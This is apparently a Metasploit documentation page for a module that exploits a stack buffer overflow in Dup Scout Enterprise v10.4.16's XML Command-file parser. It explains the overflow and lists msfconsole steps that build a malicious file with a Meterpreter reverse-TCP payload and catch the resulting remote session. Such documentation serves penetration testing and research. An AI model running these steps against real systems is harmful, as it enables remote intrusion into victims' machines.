Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/exploit/windows/fileformat/dupscout_xml.md
Views: 11789
Description
This module exploits a buffer overflow in libpal.dll
that is used by Dup Scout Enterprise v10.4.16. The buffer overflow occurs during a call to the SCA_XmlParser::GetToken
function when a user-supplied Command file with a crafted name attribute is imported to the Dup Scout application. The SCA_XmlParser::GetToken
function is passed a heap pointer as an argument, which was created by the SCA_XmlParser::LoadXmlFile
function and contains data from the user-supplied Command file, and a pointer to a stack buffer that was created in the SCA_XmlParser::ParseXmlElement
function. While parsing the name attribute, the SCA_XmlParser::GetToken
function copies from the heap buffer to the stack buffer until a single quote (to match name='
, or a double quote to match name="
) is found or until it finishes reading from the allocated heap buffer.
Vulnerable Application
The vulnerability can be exploited when the size of the name attribute is greater than 1560 bytes.
Note: The allocated stack buffer size is 1564 bytes but the first four bytes are filled with \xff
during execution of the SCA_XmlParser::GetToken
function.
Since the stack buffer was allocated as a local variable for the SCA_XmlParser::ParseXmlElement
function, the program's control flow isn't taken over until the return of the SCA_XmlParser::ParseXmlElement
function even though the return value is overwritten during execution of the SCA_XmlParser::GetToken
function.
The format of the crafted Command file will be:
Note: The last make_nops will offset the location of the payload. The offset is included to account for writes to the stack buffer that after the user-supplied Command file has been processed.
Verification Steps
Install Dup Scout Enterprise on target system
./msfconsole
use exploit/windows/fileformat/dupscout_xml
set payload windows/meterpreter/reverse_tcp
set lhost <lhost>
run
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <lhost>
run
From the DupScout Enterprise menu select Command -> Import Command
Select file generated by metasploit
Get a session